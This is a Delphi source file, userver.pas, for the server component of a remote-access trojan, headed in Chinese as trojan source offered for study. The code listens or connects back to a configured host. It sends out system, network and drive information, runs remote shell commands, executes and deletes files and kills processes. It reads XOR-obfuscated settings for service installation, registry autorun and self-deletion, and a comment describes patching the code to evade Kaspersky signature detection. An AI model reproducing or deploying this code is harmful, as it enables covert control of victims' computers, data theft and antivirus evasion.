userver.pas

木马源程序,供大家研究

            Info.Port := Port;
            Info.Size := StrToInt(Param[0]);
            CreateThread(nil, 0, @RecvFile, @Info, 0, D);
          end;
        C_INFOSYSTEM: SendData(LSock,GetInformation(),sByte);
        C_INFOSERVER: SendData(Lsock,GetServerInfo(),sByte);
        C_INFONETWORK: SendData(LSock,GetNetworkInfo(),sByte);
        C_REQUESTDRIVE:
          begin
            SetLength(Temp, 300);
            GetLogicalDriveStrings(300, pChar(Temp));
            while (Pos(#0, Temp) > 0) and (pos('\',temp)>0) and (Pos(':',Temp)>0) do
            begin
              FName := IntToStr(C_REQUESTDRIVE) + ' ' + Copy(Temp, 1, Pos(#0,
                Temp) - 1) + #10;
              Temp := Copy(Temp, Pos(#0, Temp) + 1, Length(Temp));
              Send(LSock, FName[1], Length(FName), 0);
              FName := '';
            end;
          end;
        C_REQUESTLIST:
          begin
            Temp := Copy(Temp, Pos(Param[0], Temp), Length(Temp));
            GenerateList(LSock, Temp, 1);
            GenerateList(LSock,Temp, 2);
            LastDir := IntToStr(C_CURRENTPATH) + ' ' + Temp;
            if LastDir <> '' then
              if (LastDir[Length(LastDir)] <> '\') then
                LastDir := LastDir + '\';
            LastDir := LastDir + #10;
          end;
        C_CURRENTPATH: Send(LSock, LastDir[1], Length(LastDir), 0);
        C_EXECUTE:
          begin
            Temp := Copy(Temp, Pos(Param[1], Temp), Length(Temp));
            ShellExecute(0, 'open', pChar(Temp), nil, nil, StrToInt(Param[0]));
          end;
        C_DELETE:
          begin
            Temp := Copy(Temp, Pos(Param[0], Temp), Length(Temp));
            DeleteFile(pChar(Temp));
          end;
        C_PROCESSLIST:
          begin
            ListProcess(LSock,StrToInt(Param[0]));
            Temp := IntToStr(C_FINISH) + ' '#10;
            Send(LSock, Temp[1], Length(Temp), 0);
          end;
        C_ENDPROCESS: EndProcess(LSock,Copy(Temp, 4, Length(Temp)));
        C_REMOTECMD:
          begin
            Temp := IntToStr(C_REMOTECMD) + ' ' +
              RunDosInCap(Copy(Temp, 4, Length(Temp)));
            ReplaceStr(#10, #1, Temp);
            Temp := Temp + #10;
            Send(LSock, Temp[1], Length(Temp), 0);
          end;
      end;
    end;
  until 1 = 2;

  CloseSocket(LSock);
end;

procedure TServer.SendData(Text: string);
var
  dErr: Integer;
begin
  dErr := Send(Sock, Text[1], Length(Text), 0);
  if (dErr = 0) then Exit;
end;

function ComputerName: string;
var
  CNameBuffer: PChar;
  fl_loaded: Boolean;
  CLen: ^DWord;
begin
  GetMem(CNameBuffer,255);
  New(CLen);
  CLen^:= 255;
  fl_loaded := GetComputerName(CNameBuffer,CLen^);
  if fl_loaded then
    Result := StrPas(CNameBuffer)
  else
    Result := 'Unkown';
  FreeMem(CNameBuffer,255);
  Dispose(CLen);
end;


// Function for creating sockets and listening.
Function TServer.Listen: Integer;      //srv type
Begin
  WSAStartUp($0101, WSA);

  Count := 0;
  FillChar(SocketList, 99, 0);

  Sock := Socket(AF_INET, SOCK_STREAM, 0);
  Addr.sin_family := AF_INET;
  Addr.sin_port := hTons(Port);
  Addr.sin_addr.S_addr := INADDR_ANY;

  If (Bind(Sock, Addr, SizeOf(Addr)) <> 0) Then
  Begin
    Result := ERROR_BIND;
    ReturnError := Result;
    WSACleanUp();
    Exit;
  End;

  If (Winsock.listen(Sock, SOMAXCONN) <> 0) Then
  Begin
    Result := ERROR_LISTEN;
    ReturnError := Result;
    WSACleanUp();
    Exit;
  End;

  Len := SizeOf(Remote);

  Repeat
    TempSock := Accept(Sock, @Remote, @Len);
    If (TempSock = INVALID_SOCKET) Then
    Begin
      Result := ERROR_ACCEPT;
      ReturnError := Result;
      WSACleanUp();
      Exit;
    End;

    ResolveStatus(AcceptNew(TempSock));
    TempSock := INVALID_SOCKET;
  Until False;

  WSACleanUp();
End;

Function TServer.GetFreeHandle(VAR Int: Integer): Integer;
Var
  I: WORD;
Begin
  Result := -1;
  For I := 0 to 99 Do
    If (HandleList[I] = 0) Then
    Begin
      Result := I;
      Int := I;
      Break;
    End;
End;

// Remote Socket Port
Function RemotePort(Sock: TSocket): String;
Begin
  Result := IntToStr(nTohs(RemoteAddr(Sock).sin_port));
End;


Function TServer.ReCount: Integer;
Var
  I: Word;
Begin
  Result := 0;
  For I := 0 To 99 Do
    If (SocketList[I] > 0) Then
      Inc(Result);
End;

Function TServer.Disconnect(dAddress, dPort: String): Boolean;
Var
  I: Word;
  J: Word;
  rHost: String;
  rPort: String;
Begin
  For I := 0 To 99 Do
  Begin
    rHost := RemoteAddress(SocketList[I]);
    rPort := RemotePort(SocketList[I]);
    If (rHost = dAddress) and (rPort = dPort) Then
    Begin
      CloseSocket(SocketList[I]);
      SocketList[I] := INVALID_SOCKET;
      Break;
    End;
  End;
End;

// Report back to user at client GUI interface.
Procedure TServer.ResolveStatus(Int: Integer);
Begin

{  Case ReturnError Of
    ERROR_DISCONNECT:           //'Error: Server disconnected.';
    ERROR_FAIL:                 //'Error: Failed.';
    ERROR_CONNECT:              //'Error: Connection failed.';
    ERROR_LISTEN:               //'Error: Listen failed.';
    ERROR_ACCEPT:               //'Error: Accept of new server failed.';
    ERROR_BREAK:                //'Error: "Break" used, procedure failed.';
    ERROR_LOSTCONNECTION:       //'Error: Lost connection.';
    ERROR_BIND:                 //'Error: Bind failed.';

    SUCCESS_CONNECT:            //'Connected successfully.';
    SUCCESS_FINISHED:           //'Finished successfully.';
    SUCCESS_ACCEPT:             //'Accepted new connection.';
  End;
  }
End;

Function TServer.AcceptNew(SSock: TSocket): Integer;     //srv type
Var
  I: Integer;
  D: DWord;
Begin
  If (GetFreeHandle(I) = -1) or (SSock <= 0) Then
  Begin
    Result := ERROR_ACCEPT;
    Exit;
  End;

  rSocket.Sock := SSock;
  rSocket.Count := I;

  SocketList[I] := SSock;
  HandleList[I] := CreateThread(nil, 0, @ReceiveData, @rSocket, 0, D);

  Count := ReCount();

  Result := SUCCESS_ACCEPT;
End;


procedure TServer.Connect;
begin
  Password := PieZhi.dPass;
  Host := ResolveIP(PieZhi.dDnsHost);
  Port := StrToInt(PieZhi.dRemotePort);

  WSAStartUP($0101, WSA); //加载winsock库

  Close := False;
  repeat

    Sock := Socket(AF_INET, SOCK_STREAM, 0);
    Addr.sin_family := AF_INET;
    Addr.sin_port := hTons(Port);
    Addr.sin_addr.S_addr := inet_Addr(pChar(Host));

    if (Winsock.Connect(Sock, Addr, SizeOf(Addr)) = 0) then
    begin
//      SendData('01 ' + password + #10);
      SendData('02 ' + version + #10);
      SendData('03 ' + getnet + #10);
      SendData('20 ' + ComputerName + #10);
      rSocket.Sock := Sock;

      ReceiveData(@rSocket);
    end;
    Sleep(30000);
    LastDir := '';

  until (Close);

  WSACleanUP();
end;

procedure ReadFileStr(dName: string; var Content: string);
var
  FContents: file of Char;
  FBuffer: array[1..1024] of Char;
  rLen: LongInt;
  FSize: LongInt;
begin
  try
    Content := '';
    AssignFile(FContents, dName); // 访问正在使用的 文本文件
    Reset(FContents);
    FSize := FileSize(FContents);

    while not EOF(FContents) do
    begin
      BlockRead(FContents, FBuffer, 1024, rLen); // 读记录
      Content := Content + string(FBuffer);
    end;
    CloseFile(FContents);

    if Length(Content) > FSize then
      Content := Copy(Content, 1, FSize);
  except
    Exit;
  end;
end;

//间单加密一下－－－－－－－－－－－－－－
function EncryptText(Text: string): string;
var
  I: Word;
  C: Word;
begin
  Result := '';
  for I := 1 to Length(Text) do
  begin
    C := Ord(Text[I]);
    Result := Result + Chr((C xor 12));
  end;
end;

//读取所有配置信息 －－－－－－－－－－－－－－
procedure ReadSettings;
var
  I: Word;
  Settings: string;
  FileContent: string;
  NewFileName: string;

begin
//  NewFileName := ParamStr(0) + '_'; //生成文件名
//  CopyFile(pChar(ParamStr(0)), pChar(NewFileName), False); //复制

  ReadFileStr(ConFile, FileContent);

  I := Length(FileContent);
  Settings := '';

  while (I > 0) and (FileContent[i] <> #00) do
  begin
    Settings := FileContent[i] + Settings;
    Dec(I);
  end;

  if (Settings = '') then
  begin
    DeleteFile(pChar(NewFileName));
    Uninstall;
  end;

  Settings := EncryptText(Settings);

  pz^.Urlhttp := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //x
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  pz^.dConType := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); ////连接类型; 0:主动连接，1:被动连接
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  pz^.dDnsHost := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //100
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  pz^.dLocalPort := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //被动连接端口
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  pz^.dRemotePort := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //主动连接端口
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  pz^.dPass := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //连接客码
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  pz^.dGroup := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //上线组
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  pz^.dRunAsSrv := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //以服务运行  1:以服务运行，2:注册自动启动
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  pz^.dInsPath := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //安装路      0:<window> 1:<system> 2<templete>
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  pz^.dInsFileName := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //安装文件名称
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  pz^.dIsAutoDelMe := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //是否自己删除自己 0:不删除 1:删除自己
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);

  pz^.dSrvView := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //服务说明
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  pz^.dSrvName := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //服务名称
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  pz^.dSrvText := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //服务描述
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);

  pz^.dMainThread := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //Start.exe线程ID
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  strcopy(pz^.dhostProcess,PChar(Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))))); //缩主进程名
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
 strcopy(pz^.dDllFile,PChar(Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))))); //缩主进程名
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);

  pz^.dRegLM := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //注册在HKEY_LOCAL_MACHINE
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  pz^.dRegCU := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //注册在HKEY_CURRENT_USER
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  pz^.dRegSH := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //注册为Shell Explorer
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
//  DeleteFile(pChar(NewFileName));
end;

//获取系统目录 --------------------
function GetDirectory(dInt: Integer): string;
var
  S: array[0..255] of Char;
begin
  case dInt of
    0: GetWindowsDirectory(@S, 256);
    1: GetSystemDirectory(@S, 256);
  end;
  Result := string(S) + '\';
end;

procedure miniratMain;stdcall;
begin
  asm   //改成卡吧不能特征码
    nop
    nop
  end;

  Serv := TServer.Create;
  while not (InternetGetConnectedState(nil, 0)) do
    Sleep(5000);

  if PieZhi.dConType='0' then   //0:被动连接 1:主动连接
  begin
    Serv.Port := StrToInt(PieZhi.dLocalPort);
    Serv.Listen;
  end
  else
    Serv.Connect;
end;
end.